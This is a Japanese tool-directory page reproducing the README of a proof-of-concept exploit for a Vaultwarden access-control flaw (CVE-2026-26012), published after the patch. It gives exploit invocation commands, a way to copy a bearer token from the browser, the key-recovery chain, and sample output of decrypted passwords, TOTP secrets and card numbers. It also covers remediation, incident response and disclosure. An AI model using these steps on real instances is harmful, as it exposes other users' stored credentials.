Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-26012 — CVE-2026-26012の概念実証エクスプロイト。Vaultwardenの破損したアクセス制御により、組織の任意のメンバーがコレクション権限をバイパスしてすべての暗号を列挙・復号化できる脆弱性です。 | Kitploit
ツール/GitHubGitHub/dulieno/cve-2026-26012
脆弱性分析エクスプロイトウェブセキュリティ暗号化ペネトレーションテスト学習と教育
GitHubdulieno/cve-2026-26012

CVE-2026-26012

CVE-2026-26012の概念実証エクスプロイト。Vaultwardenの破損したアクセス制御により、組織の任意のメンバーがコレクション権限をバイパスしてすべての暗号を列挙・復号化できる脆弱性です。

リポジトリを見る
16ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-26012 — Vaultwarden 暗号列挙 PoC

AI Assisted License

組織コレクション権限を無視した完全な暗号列挙

CVE-2026-26012 の概念実証エクスプロイトです。Vaultwarden (<= 1.35.2) のアクセス制御の欠陥を利用し、組織のメンバーであれば誰でも、コレクションレベルの権限に関係なく、組織内のすべての暗号を取得・復号できます。

🤖 注記: このプロジェクトは Claude 3 Opus の支援を受けて開発されました。コード生成、アーキテクチャ設計、ドキュメント作成に AI を活用しています。すべての成果物は品質保証のため手動でレビュー・テスト済みです。

概要

CVECVE-2026-26012
アドバイザリGHSA-h265-g7rm-h337
影響を受けるバージョンVaultwarden ≤ 1.35.2
修正バージョン1.35.3
CVSS 3.16.5 (中) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
CWECWE-863 — 不適切な認可
クレジット発見者: @odgrso、修正者: @BlackDex

脆弱性の詳細

API エンドポイント GET /api/ciphers/organization-details は、組織のメンバーであれば誰でもアクセスできます。内部的には Cipher::find_by_org を呼び出し、組織内のすべての暗号を返した後、CipherSyncType::Organization としてコレクションレベルのアクセス制御を適用せずに配信します。

組織内のすべての暗号は同じ組織暗号化キーを共有しており(参加時に全メンバーが受け取ります)、漏洩した暗号はクライアント側で完全に復号できます。

root@kitploit:~
通常の組織メンバー("Public" コレクションのみに制限)
    │
    ├── GET /api/sync                     → 5 件の暗号(正常)
    │
    └── GET /api/ciphers/organization-details
            └──→ 47 件の暗号(組織の全暗号 — バグ)
                  └──→ 制限されたコレクションの 42 件の暗号(漏洩)
                        └──→ メンバーが既に持つ組織キーで復号可能

リポジトリの内容

root@kitploit:~
.
├── README.md                   # このファイル
├── poc_cve_2026_26012.py       # フェーズ 1: 暗号列挙と漏洩検出
├── poc_decrypt.py              # フェーズ 2: 組織キーの復元と暗号の復号
└── LICENSE

要件

  • Python 3.8+
  • cryptography(フェーズ 2 の復号用)
  • argon2-cffi(対象インスタンスが Argon2id KDF を使用する場合のみ)
root@kitploit:~
pip install cryptography
pip install argon2-cffi  # 任意

使用方法

フェーズ 1 — 漏洩した暗号の列挙

通常の /api/sync エンドポイントと脆弱な /api/ciphers/organization-details エンドポイントが返す暗号を比較し、インスタンスが脆弱かどうかを検出します。

root@kitploit:~
# ブラウザで認証(SSO + 2FA 対応)後、Bearer トークンを渡します
python3 poc_cve_2026_26012.py \
    --url https://vaultwarden.example.com \
    --token "eyJhbGciOi..." \
    --org-id "ORG-UUID" \
    --output results.json
すべての認証オプション
root@kitploit:~
# Bearer トークン(推奨 — SSO + 2FA 対応)
--token "eyJhbGciOi..."

# セッション Cookie
--cookie "VAULTWARDEN_SESSION=abc123..."

# 生の Cookie ヘッダー(複数 Cookie)
--cookie-header "session=abc; token=xyz"

# 直接パスワードログイン(SSO・2FA 非対応のみ)
--email [email protected] --password "MasterPassword"

Bearer トークンの取得方法:

  1. Vaultwarden Web ボールトにログインします(通常どおり SSO + 2FA を完了)
  2. ブラウザの DevTools(F12)→ Network タブを開きます
  3. ボールト内の任意の項目をクリックして API 呼び出しを発生させます
  4. /api/... へのリクエストを見つけ、Authorization ヘッダーの値をコピーします
追加オプション
root@kitploit:~
--no-verify-ssl     # SSL 検証をスキップ(自己署名証明書用)
--show-all          # 正当にアクセス可能な暗号も表示
--max-display 50    # 表示する漏洩暗号の最大数(デフォルト: 20)
--output results.json  # 完全な結果を JSON にエクスポート

フェーズ 2 — 漏洩した暗号の復号

組織の暗号化キーを復元し、フェーズ 1 で漏洩したすべての暗号を復号します。

root@kitploit:~
python3 poc_decrypt.py \
    --url https://vaultwarden.example.com \
    --token "eyJhbGciOi..." \
    --email [email protected] \
    --master-password "YourMasterPassword" \
    --org-id "ORG-UUID" \
    --leaked-json results.json \
    --output decrypted.json

注記: --master-password は Vaultwarden のマスターパスワードで、復号キーチェーンの導出にローカルで使用されます。ネットワーク上に送信されることはありません。API 認証は --token が担当します。

トラブルシューティング: キーの復号に失敗する場合は、--debug を追加して各ステップの中間値を確認してください。スクリプトは自動的に 5 つの戦略(HKDF モダン、HMAC レガシー、生キー、HMAC スキップの各バリアント)を試行し、アカウントの経過年数や構成の違いに対応します。

代替: 組織キーを直接指定

64 バイトの組織キー(128 文字の 16 進数)を既に持っている場合:

root@kitploit:~
python3 poc_decrypt.py \
    --org-key-hex "aabbccdd...128_hex_chars..." \
    --leaked-json results.json \
    --output decrypted.json

出力例

root@kitploit:~
[*] === キー復元チェーン ===

[1/6] KDF パラメータを取得中...
       KDF: PBKDF2-SHA256, iterations: 600000
[2/6] マスターキーを導出中...
[3/6] マスターキーをストレッチ中(HKDF-Expand)...
[4/6] /api/sync から暗号化キーを取得中...
       組織: ACME Corp
[5/6] ユーザー対称キーを復号中...
[6/6] RSA 秘密キーを復号中 → 組織キー...

[+] 組織キーの復元に成功しました!

[*] 42 件の暗号を復号中...

============================================================
  復号結果
============================================================
  合計:      42
  復号成功:  42
  エラー:    0

  影響サマリー
  復元されたパスワード:     35
  復元された TOTP シークレット:  12
  復元されたカード番号:  3
============================================================

動作原理

キー導出チェーン

組織のメンバーは全員、自分の RSA 公開キーで暗号化された組織の対称キーを既に保持しています。復号チェーンは以下のとおりです:

root@kitploit:~
マスターパスワード + メールアドレス
    │  PBKDF2-SHA256 または Argon2id
    ▼
マスターキー(32 バイト)
    │  HKDF-Expand-SHA256
    ▼
ストレッチキー: encKey (32B) ║ macKey (32B)
    │  AES-256-CBC(profile.key を復号)
    ▼
ユーザー対称キー: encKey (32B) ║ macKey (32B)
    │  AES-256-CBC(profile.privateKey を復号)
    ▼
RSA 秘密キー(2048 ビット PKCS#8 DER)
    │  RSA-OAEP-SHA1(profile.organizations[].key を復号)
    ▼
組織キー: encKey (32B) ║ macKey (32B)
    │  AES-256-CBC + HMAC-SHA256
    ▼
復号された暗号データ

コレクション ACL がデータを保護できない理由

Bitwarden/Vaultwarden モデルでは、組織内のすべての暗号は同じ暗号化キーを共有します。コレクションベースのアクセス制御はサーバー側でのみ適用されます — 暗号化モデルはコレクションの境界を強制しません。組織キーを持つメンバーは誰でも、組織内の任意の暗号を復号できます。この CVE はサーバー側のフィルターをバイパスし、すべての暗号を任意のメンバーに公開します。

復号される内容

暗号タイプ復号されるフィールド
ログインユーザー名、パスワード、TOTP シークレット、URI
カード名義人、番号、CVV、有効期限
身分情報氏名、SSN、パスポート、住所、電話、メール
セキュアノートノートの全文
全タイプカスタムフィールド、添付ファイルのメタデータ

修復方法

直ちに Vaultwarden を 1.35.3 以降に更新してください。

root@kitploit:~
docker pull vaultwarden/server:1.35.3

パッチ適用後、フェーズ 1 を再度実行して修正を確認してください — ツールは NOT VULNERABLE と報告するはずです。

インシデント後の対応

マルチユーザー組織で脆弱なバージョンを実行していた場合:

  1. 一部のメンバーから制限されていたコレクションに保存されているすべての認証情報をローテーションします
  2. ボールトに TOTP が保存されているアカウントの TOTP シークレットを失効・再生成します
  3. 組織のメンバーシップを確認し、不要なメンバーを削除します
  4. アクセスログを監査し、/api/ciphers/organization-details への異常な API 呼び出しがないか確認します

責任ある開示

この PoC は、脆弱性が公開されパッチが適用された後に公開されています:

  • 2026-02-10 — 修正を含む Vaultwarden 1.35.3 がリリース
  • 2026-02-11 — CVE-2026-26012 が採番され、アドバイザリが公開
  • 2026-02-11 — GHSA-h265-g7rm-h337 が公開

謝辞

この PoC は、元のセキュリティ研究者とメンテナーの尽力なしには存在し得ませんでした:

役割担当者貢献
脆弱性報告者@odgrsoCVE-2026-26012 を発見し、責任を持って開示
修正開発者@BlackDexVaultwarden 1.35.3 の修正を開発・リリース
プロジェクトメンテナー@dani-garciaVaultwarden の作者、アドバイザリとリリースを調整

オープンソースエコシステムの安全性向上にご尽力いただき、ありがとうございます。

法的免責事項

この概念実証は、認可されたセキュリティテストおよび教育目的のみで提供されています。所有していないシステムをテストする前に、明示的な書面による許可が必要です。コンピュータシステムへの不正アクセスは、CFAA(米国)、Computer Misuse Act(英国)、および世界各国の同等の法律で違法とされています。著者は誤用に対する責任を負いません。

参考情報

  • GHSA-h265-g7rm-h337 — GitHub セキュリティアドバイザリ
  • CVE-2026-26012 — NVD エントリ
  • Vaultwarden 1.35.3 — パッチ適用済みリリース
  • Bitwarden セキュリティホワイトペーパー — 暗号化モデルの参考

ライセンス

MIT — LICENSE を参照してください。

ツールをダウンロード